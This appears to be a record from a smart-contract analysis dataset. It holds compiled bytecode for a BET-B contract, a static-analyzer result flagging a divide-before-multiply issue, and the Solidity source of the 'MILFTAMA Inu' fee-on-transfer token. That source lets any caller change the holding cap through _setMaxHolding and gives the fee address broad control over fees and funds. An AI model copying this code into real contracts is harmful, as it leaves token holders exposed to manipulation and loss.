fffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461275b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b47905090565b6000339050601b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111561281b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f696e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b6014831015612892576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4d696e696d756d207374616b65206973203230204245542d420000000000000081525060200191505060405180910390fd5b6128e483601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142f290919063ffffffff16565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061297983601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a3083601c6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b601c6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff167f0c51b88fb51791573552763b6cd5c42e661f3426347a6a12f3fcb5ade1919ad28484604051808381526020018281526020019250505060405180910390a2505050565b60055481565b6000601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601c6020528060005260406000206000915090505481565b600260009054906101000a900460ff1681565b60035481565b601e6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612c68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b8160158190555060019050919050565b60085481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612d41576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b612d9382601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2882601c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142f290919063ffffffff16565b601c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612edf82601c6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142f290919063ffffffff16565b601c6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60185481565b60236020528060005260406000206000915090505481565b600d5481565b60065481565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130085780601f10612fdd57610100808354040283529160200191613008565b820191906000526020600020905b815481529060010190602001808311612feb57829003601f168201915b505050505081565b606060018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156130a85780601f1061307d576101008083540402835291602001916130a8565b820191906000526020600020905b81548152906001019060200180831161308b57829003601f168201915b5050505050905090565b600f5481565b6000601f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b60155481565b60003373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156131a9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f53656c66207265666572656e6365206e6f7420616c6c6f77656400000000000081525060200191505060405180910390fd5b600033905060003490506658d15e17628000811015613213576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180614efa6029913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156132b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616e27742073656e6420746f205a65726f206164647265737300000000000081525060200191505060405180910390fd5b60006132c1826143c4565b905060006132da6015548461440590919063ffffffff16565b90506000601b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506702c68af0bb14000084106133c6576133826064602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b602160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000602060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414156134d25786601e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001602060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6134dc8583611a5a565b5060006064600c8402816134ec57fe5b0490506135048160185461433c90919063ffffffff16565b60188190555061355c84602360008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b602360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a361365684601b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b601b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136ae8360175461433c90919063ffffffff16565b6017819055506136bd8361444f565b8573ffffffffffffffffffffffffffffffffffffffff167fbeae048c6d270d9469f86cf6e8fedda3c60ad770f16c24c9fc131c8e9a09101d85858560405180848152602001838152602001828152602001935050505060405180910390a260019650505050505050919050565b601b6020528060005260406000206000915090505481565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b6000339050601b60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111561385857600080fd5b6138aa83601b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142f290919063ffffffff16565b601b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061393f83601b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b6000806015548302905080915050919050565b60095481565b60125481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613ad4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b8060019080519060200190613aea929190614ded565b5050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613bb1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b8060009080519060200190613bc7929190614ded565b5050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613c8e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b613ca38160165461433c90919063ffffffff16565b60168190555050565b60216020528060005260406000206000915090505481565b600c5481565b6000806015548302905080915050919050565b600080613cf56015548461440590919063ffffffff16565b905080915050919050565b60105481565b600080613d1283613cca565b9050826017541015613d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180614ed46026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415613e12576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600c8152602001807f61646472657373207a65726f000000000000000000000000000000000000000081525060200191505060405180910390fd5b601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115613ec7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f696e73756666696369656e742062616c616e636500000000000000000000000081525060200191505060405180910390fd5b6658d15e17628000811015613f27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180614e8b6025913960400191505060405180910390fd5b613f7983601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546142f290919063ffffffff16565b601b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061400e83602260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461433c90919063ffffffff16565b602260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550614066836017546142f290919063ffffffff16565b6017819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156140b2573d6000803e3d6000fd5b506140bc8361485b565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f06d891f04d1b34286c8e9d1722dae31ec0bf00807e0c3d4b7f0ab724607828ea8285604051808381526020018281526020019250505060405180910390a26001915050919050565b6000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614614246576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616c6c6572206973206e6f7420746865206f776e657200000000000000000081525060200191505060405180910390fd5b601c6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b6000601554905090565b60045481565b60145481565b600080620186a0612ee08402816142d657fe5b049050600081840390508092505050919050565b600030905090565b600061433483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250614c67565b905092915050565b6000808284019050838110156143ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600080620186a0612ee08402816143d757fe5b0490506000818403905060006143f86015548361440590919063ffffffff16565b9050809350505050919050565b600061444783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614d27565b905092915050565b6000601754118015614465575061fde860175411155b1561447d576004546015819055506015546004819055505b61fde8601754118015614495575062020f5860175411155b156144be57632de544808102601481905550601454600554016015819055506015546005819055505b62020f586017541180156144d757506202710060175411155b15614500576333db25808102601481905550601454600654016015819055506015546006819055505b62027100601754118015614519575062030d4060175411155b1561454257632de544808102601481905550601454600754016015819055506015546007819055505b62030d4060175411801561455b5750620395f860175411155b15614584576333db25808102601481905550601454600854016015819055506015546008819055505b620395f860175411801561459d575062041eb060175411155b156145c7576401553c91408102601481905550601454600954016015819055506015546009819055505b62041eb06017541180156145e05750620493e060175411155b1561460a57640243a7b9408102601481905550601454600a5401601581905550601554600a819055505b620493e0601754118015614623575062051c9860175411155b1561464d5764033c812b008102601481905550601454600b5401601581905550601554600b819055505b62051c9860175411801561466657506205a55060175411155b15614690576407f67a96008102601481905550601454600c5401601581905550601554600c819055505b6205a5506017541180156146a9575062061a8060175411155b156146d35764180ea661408102601481905550601454600d5401601581905550601554600d819055505b62061a806017541180156146ec57506206a33860175411155b1561471657645bbf35d4808102601481905550601454600e5401601581905550601554600e819055505b6206a33860175411801561472f575062072bf060175411155b156147595764a1989a8c808102601481905550601454600f5401601581905550601554600f819055505b62072bf060175411801561477257506207a12060175411155b1561479d576505e96630e8008102601481905550601454601054016015819055506015546010819055505b6207a1206017541180156147b65750620829d860175411155b156147e1576505e96630e8008102601481905550601454601154016015819055506015546011819055505b620829d86017541180156147fa57506208b29060175411155b15614825576505e96630e8008102601481905550601454601254016015819055506015546012819055505b6208b2906017541115614858576505e96630e8008102601481905550601454601354016015819055506015546013819055505b50565b6000601754118015614871575061fde860175411155b15614889576004546015819055506015546004819055505b61fde86017541180156148a1575062020f5860175411155b156148ca57632de544808102601481905550601454600554036015819055506015546005819055505b62020f586017541180156148e357506202710060175411155b1561490c576333db25808102601481905550601454600654036015819055506015546006819055505b62027100601754118015614925575062030d4060175411155b1561494e57632de544808102601481905550601454600754036015819055506015546007819055505b62030d406017541180156149675750620395f860175411155b15614990576333db25808102601481905550601454600854036015819055506015546008819055505b620395f86017541180156149a9575062041eb060175411155b156149d3576401553c91408102601481905550601454600954036015819055506015546009819055505b62041eb06017541180156149ec5750620493e060175411155b15614a1657640243a7b9408102601481905550601454600a5403601581905550601554600a819055505b620493e0601754118015614a2f575062051c9860175411155b15614a595764033c812b008102601481905550601454600b5403601581905550601554600b819055505b62051c98601754118015614a7257506205a55060175411155b15614a9c576407f67a96008102601481905550601454600c5403601581905550601554600c819055505b6205a550601754118015614ab5575062061a8060175411155b15614adf5764180ea661408102601481905550601454600d5403601581905550601554600d819055505b62061a80601754118015614af857506206a33860175411155b15614b2257645bbf35d4808102601481905550601454600e5403601581905550601554600e819055505b6206a338601754118015614b3b575062072bf060175411155b15614b655764a1989a8c808102601481905550601454600f5403601581905550601554600f819055505b62072bf0601754118015614b7e57506207a12060175411155b15614ba9576505e96630e8008102601481905550601454601054036015819055506015546010819055505b6207a120601754118015614bc25750620829d860175411155b15614bed576505e96630e8008102601481905550601454601154036015819055506015546011819055505b620829d8601754118015614c0657506208b29060175411155b15614c31576505e96630e8008102601481905550601454601254036015819055506015546012819055505b6208b2906017541115614c64576505e96630e8008102601481905550601454601354036015819055506015546013819055505b50565b6000838311158290614d14576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614cd9578082015181840152602081019050614cbe565b50505050905090810190601f168015614d065780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290614dd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015614d98578082015181840152602081019050614d7d565b50505050905090810190601f168015614dc55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581614ddf57fe5b049050809150509392505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10614e2e57805160ff1916838001178555614e5c565b82800160010185558215614e5c579182015b82811115614e5b578251825591602001919060010190614e40565b5b509050614e699190614e6d565b5090565b5b80821115614e86576000816000905550600101614e6e565b509056fe4d696e696d756d204245542d422053656c6c206c696d697420697320302e303235204554484d696e696d756d207769746864726177616c20616d6f756e742069732035204245542d42546f6b656e20736f6c642073686f756c642062652067726561746572207468616e207a65726f4d696e696d756d204245542d42207075726368617365206c696d697420697320302e30323520455448a2646970667358221220826536b2b17ef0d477f3ad9afdd5fc7b2a857b2880755838f91aac41c602ab9464736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,051
0xa1f98f2f1A26b73FF8dAcFF57A7529eB60Ea8404
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MILFTAMA is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"MILFTAMA Inu"; string private constant _symbol = unicode"MILFTAMA"; uint8 private constant _decimals = 9; uint256 private _taxFee = 1; uint256 private _teamFee = 9; uint256 private _feeRate = 10; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; uint private holdingCapPercent = 3; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } if (to != uniswapV2Pair && to != address(this)) require(balanceOf(to) + amount <= _getMaxHolding(), "Max holding cap breached."); // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = 9; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = 15; if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (500 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function _getMaxHolding() internal view returns (uint256) { return (totalSupply() * holdingCapPercent) / 100; } function _setMaxHolding(uint8 percent) external { require(percent > 0, "Max holding cap cannot be less than 1"); holdingCapPercent = percent; } }
